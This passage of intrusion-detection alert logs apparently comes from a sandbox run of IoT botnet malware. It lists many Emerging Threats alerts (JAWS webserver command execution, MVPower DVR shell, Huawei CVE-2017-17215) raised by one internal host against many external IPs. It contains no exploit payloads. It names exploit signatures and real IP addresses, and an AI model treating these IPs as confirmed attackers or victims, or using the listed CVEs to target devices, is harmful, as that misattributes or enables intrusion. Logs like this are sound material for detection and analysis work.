Source Port:	38334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 46.36.222.144

Timestamp:	03/13/24-09:35:56.221083
SID:	2030092
Source Port:	42206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.204.240.54

Timestamp:	03/13/24-09:36:35.280223
SID:	2025883
Source Port:	53750
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 162.55.59.59

Timestamp:	03/13/24-09:35:59.108807
SID:	2025883
Source Port:	55166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.226.87.99

Timestamp:	03/13/24-09:35:49.094091
SID:	2030092
Source Port:	47516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 195.15.235.28

Timestamp:	03/13/24-09:35:53.323163
SID:	2030092
Source Port:	49460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 45.120.4.35

Timestamp:	03/13/24-09:35:53.311624
SID:	2025883
Source Port:	58836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 2.11.26.149

Timestamp:	03/13/24-09:36:49.253004
SID:	2030092
Source Port:	56884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.37.0.24

Timestamp:	03/13/24-09:36:45.747749
SID:	2025883
Source Port:	35558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 178.84.9.227

Timestamp:	03/13/24-09:35:35.800062
SID:	2025883
Source Port:	60096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 181.210.158.250

Timestamp:	03/13/24-09:36:07.177679
SID:	2030092
Source Port:	49512
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 157.230.127.140

Timestamp:	03/13/24-09:35:26.295478
SID:	2025883
Source Port:	33064
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 65.21.189.68

Timestamp:	03/13/24-09:35:58.214847
SID:	2030092
Source Port:	33776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 40.85.178.219

Timestamp:	03/13/24-09:36:21.073169
SID:	2030092
Source Port:	60022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 178.250.247.98

Timestamp:	03/13/24-09:36:49.163949
SID:	2030092
Source Port:	57922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.34.187.205

Timestamp:	03/13/24-09:35:32.568310
SID:	2030092
Source Port:	43424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.27.253.172

Timestamp:	03/13/24-09:35:35.940035
SID:	2025883
Source Port:	44662
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.224.102.81

Timestamp:	03/13/24-09:35:56.201203
SID:	2030092
Source Port:	56292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 196.29.227.165

Timestamp:	03/13/24-09:36:16.619267
SID:	2025883
Source Port:	47620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.168.143.173

Timestamp:	03/13/24-09:35:38.113798
SID:	2025883
Source Port:	51824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.149.120.215

Timestamp:	03/13/24-09:36:55.128826
SID:	2030092
Source Port:	45300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 212.50.70.217

Timestamp:	03/13/24-09:35:45.376896
SID:	2030092
Source Port:	44316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.76.72.213

Timestamp:	03/13/24-09:36:48.529638
SID:	2025883
Source Port:	34976
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 115.71.19.135

Timestamp:	03/13/24-09:35:23.591284
SID:	2025883
Source Port:	47768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 176.35.107.71

Timestamp:	03/13/24-09:36:08.222712
SID:	2030092
Source Port:	33084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 172.105.241.4

Timestamp:	03/13/24-09:35:33.314943
SID:	2030092
Source Port:	38784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.74.45

Timestamp:	03/13/24-09:36:49.509395
SID:	2835222
Source Port:	51518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 39.61.132.49

Timestamp:	03/13/24-09:35:49.407555
SID:	2030092
Source Port:	34408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 36.255.67.189

Timestamp:	03/13/24-09:37:00.229922
SID:	2030092
Source Port:	46334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 220.133.218.57

Timestamp:	03/13/24-09:36:16.506301
SID:	2030092
Source Port:	43164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 107.10.38.11

Timestamp:	03/13/24-09:35:45.285454
SID:	2025883
Source Port:	39288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 161.35.186.210

Timestamp:	03/13/24-09:35:23.478162
SID:	2025883
Source Port:	36192
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 46.250.251.167

Timestamp:	03/13/24-09:35:36.214194
SID:	2025883
Source Port:	43030
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.196.18.71

Timestamp:	03/13/24-09:36:14.091389
SID:	2030092
Source Port:	59190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 149.56.176.134

Timestamp:	03/13/24-09:36:41.146745
SID:	2025883
Source Port:	56880
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 156.235.228.92

Timestamp:	03/13/24-09:35:27.270642
SID:	2030092
Source Port:	53960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 157.230.160.194

Timestamp:	03/13/24-09:36:46.067999
SID:	2025883
Source Port:	36712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.80.32.93

Timestamp:	03/13/24-09:35:29.011253
SID:	2829579
Source Port:	40390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 113.20.28.212

Timestamp:	03/13/24-09:36:13.540168
SID:	2025883
Source Port:	41332
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 207.194.62.174

Timestamp:	03/13/24-09:35:58.188242
SID:	2025883
Source Port:	34504
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 93.115.168.99

Timestamp:	03/13/24-09:36:24.004042
SID:	2025883
Source Port:	60816
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 160.99.23.245

Timestamp:	03/13/24-09:35:36.008345
SID:	2025883
Source Port:	35146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 77.68.24.107

Timestamp:	03/13/24-09:36:56.114896
SID:	2025883
Source Port:	36970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 2.11.26.149

Timestamp:	03/13/24-09:36:49.253004
SID:	2025883
Source Port:	56884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.164.180.68

Timestamp:	03/13/24-09:36:41.897929
SID:	2025883
Source Port:	46990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.24.116

Timestamp:	03/13/24-09:35:24.709827
SID:	2835222
Source Port:	60214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.213.192.208

Timestamp:	03/13/24-09:36:41.299401
SID:	2030092
Source Port:	43148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 38.25.44.98

Timestamp:	03/13/24-09:36:23.862209
SID:	2025883
Source Port:	35752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.90.169

Timestamp:	03/13/24-09:35:53.367183
SID:	2835222
Source Port:	38884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 138.201.139.232

Timestamp:	03/13/24-09:36:12.612824
SID:	2025883
Source Port:	48888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.143.46.47

Timestamp:	03/13/24-09:35:04.011139
SID:	2025883
Source Port:	34890
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 162.55.59.59

Timestamp:	03/13/24-09:35:59.108807
SID:	2030092
Source Port:	55166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.45.219.196

Timestamp:	03/13/24-09:36:29.045363
SID:	2025883
Source Port:	34026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 179.57.172.65

Timestamp:	03/13/24-09:36:29.419922
SID:	2030092
Source Port:	54234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.59.228.91

Timestamp:	03/13/24-09:36:32.211904
SID:	2030092
Source Port:	52780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 195.15.235.28

Timestamp:	03/13/24-09:35:53.323163
SID:	2025883
Source Port:	49460
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.10.222

Timestamp:	03/13/24-09:35:43.019587
SID:	2835222
Source Port:	40526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 170.75.210.35

Timestamp:	03/13/24-09:36:23.995523
SID:	2030092
Source Port:	52552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 47.254.199.123

Timestamp:	03/13/24-09:36:37.769147
SID:	2030092
Source Port:	50160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:48.086498
SID:	2025883
Source Port:	58294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 143.0.180.107

Timestamp:	03/13/24-09:36:02.781638
SID:	2030092
Source Port:	37046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 172.232.72.5

Timestamp:	03/13/24-09:36:59.171759
SID:	2030092
Source Port:	44636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 178.84.9.227

Timestamp:	03/13/24-09:35:35.800062
SID:	2030092
Source Port:	60096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.45.219.196

Timestamp:	03/13/24-09:36:29.045363
SID:	2030092
Source Port:	34026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 193.246.10.125

Timestamp:	03/13/24-09:36:55.211900
SID:	2030092
Source Port:	38334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 157.230.127.140

Timestamp:	03/13/24-09:35:26.295478
SID:	2030092
Source Port:	33064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 181.210.158.250

Timestamp:	03/13/24-09:36:07.177679
SID:	2025883
Source Port:	49512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.120.4.35

Timestamp:	03/13/24-09:35:53.311624
SID:	2030092
Source Port:	58836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.197.77.7

Timestamp:	03/13/24-09:35:14.755935
SID:	2025883
Source Port:	37710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 107.10.38.11

Timestamp:	03/13/24-09:35:45.285454
SID:	2030092
Source Port:	39288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.205.52.170

Timestamp:	03/13/24-09:35:27.990115
SID:	2025883
Source Port:	58730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.128.191.234

Timestamp:	03/13/24-09:35:56.116603
SID:	2030092
Source Port:	43426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.200.198.128

Timestamp:	03/13/24-09:35:27.298772
SID:	2030092
Source Port:	42670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 157.230.160.194

Timestamp:	03/13/24-09:36:46.067999
SID:	2030092
Source Port:	36712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 172.105.241.4

Timestamp:	03/13/24-09:35:33.314943
SID:	2025883
Source Port:	38784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.37.125.83

Timestamp:	03/13/24-09:36:31.580942
SID:	2030092
Source Port:	35684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.239.254.46

Timestamp:	03/13/24-09:36:07.210057
SID:	2030092
Source Port:	56222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.14.31

Timestamp:	03/13/24-09:35:37.670179
SID:	2829579
Source Port:	33452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 212.50.70.217

Timestamp:	03/13/24-09:35:45.376896
SID:	2025883
Source Port:	44316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 66.161.168.153

Timestamp:	03/13/24-09:36:17.093797
SID:	2025883
Source Port:	49644
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.105.93.19

Timestamp:	03/13/24-09:35:03.334952
SID:	2025883
Source Port:	45886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 187.103.57.101

Timestamp:	03/13/24-09:36:23.891635
SID:	2030092
Source Port:	60504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 96.66.171.49

Timestamp:	03/13/24-09:35:49.113408
SID:	2030092
Source Port:	35474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.107.159.225

Timestamp:	03/13/24-09:36:06.249707
SID:	2025883
Source Port:	46420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 59.30.116.40

Timestamp:	03/13/24-09:35:27.914612
SID:	2025883
Source Port:	59838
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.254.159.62

Timestamp:	03/13/24-09:36:55.368756
SID:	2030092
Source Port:	37814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.164.180.68

Timestamp:	03/13/24-09:36:41.897929
SID:	2030092
Source Port:	46990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 149.56.176.134

Timestamp:	03/13/24-09:36:41.146745
SID:	2030092
Source Port:	56880
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 163.123.183.103

Timestamp:	03/13/24-09:36:16.024057
SID:	2025883
Source Port:	43304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.81.143

Timestamp:	03/13/24-09:36:34.122265
SID:	2829579
Source Port:	43066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 220.133.218.57

Timestamp:	03/13/24-09:36:16.506301
SID:	2025883
Source Port:	43164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.213.192.208

Timestamp:	03/13/24-09:36:41.299401
SID:	2025883
Source Port:	43148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.85.86.34

Timestamp:	03/13/24-09:35:02.898597
SID:	2025883
Source Port:	52734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 113.20.28.212

Timestamp:	03/13/24-09:36:13.540168
SID:	2030092
Source Port:	41332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.205.241.155

Timestamp:	03/13/24-09:36:16.001050
SID:	2025883
Source Port:	41120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 47.24.170.124

Timestamp:	03/13/24-09:35:21.201633
SID:	2025883
Source Port:	60148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.18.169.231

Timestamp:	03/13/24-09:36:02.736961
SID:	2025883
Source Port:	33492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.15.81

Timestamp:	03/13/24-09:36:31.480456
SID:	2835222
Source Port:	34084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 139.59.99.156

Timestamp:	03/13/24-09:35:53.628334
SID:	2030092
Source Port:	44798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.224.102.81

Timestamp:	03/13/24-09:35:56.201203
SID:	2025883
Source Port:	56292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 42.236.84.158

Timestamp:	03/13/24-09:36:35.996262
SID:	2030092
Source Port:	41810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.168.143.173

Timestamp:	03/13/24-09:35:38.113798
SID:	2030092
Source Port:	51824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 143.0.180.107

Timestamp:	03/13/24-09:36:02.781638
SID:	2025883
Source Port:	37046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.149.120.215

Timestamp:	03/13/24-09:36:55.128826
SID:	2025883
Source Port:	45300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.38.201.46

Timestamp:	03/13/24-09:36:26.235282
SID:	2030092
Source Port:	35536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 41.63.160.172

Timestamp:	03/13/24-09:36:49.200958
SID:	2030092
Source Port:	60032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.34.187.205

Timestamp:	03/13/24-09:35:32.568310
SID:	2025883
Source Port:	43424
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 65.21.189.68

Timestamp:	03/13/24-09:35:58.214847
SID:	2025883
Source Port:	33776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.208.190.247

Timestamp:	03/13/24-09:36:20.286319
SID:	2025883
Source Port:	47598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.76.72.213

Timestamp:	03/13/24-09:36:48.529638
SID:	2030092
Source Port:	34976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.161.15.44

Timestamp:	03/13/24-09:36:51.118898
SID:	2025883
Source Port:	49202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.187.46.180

Timestamp:	03/13/24-09:36:38.267068
SID:	2030092
Source Port:	57568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 78.63.2.0

Timestamp:	03/13/24-09:36:49.270687
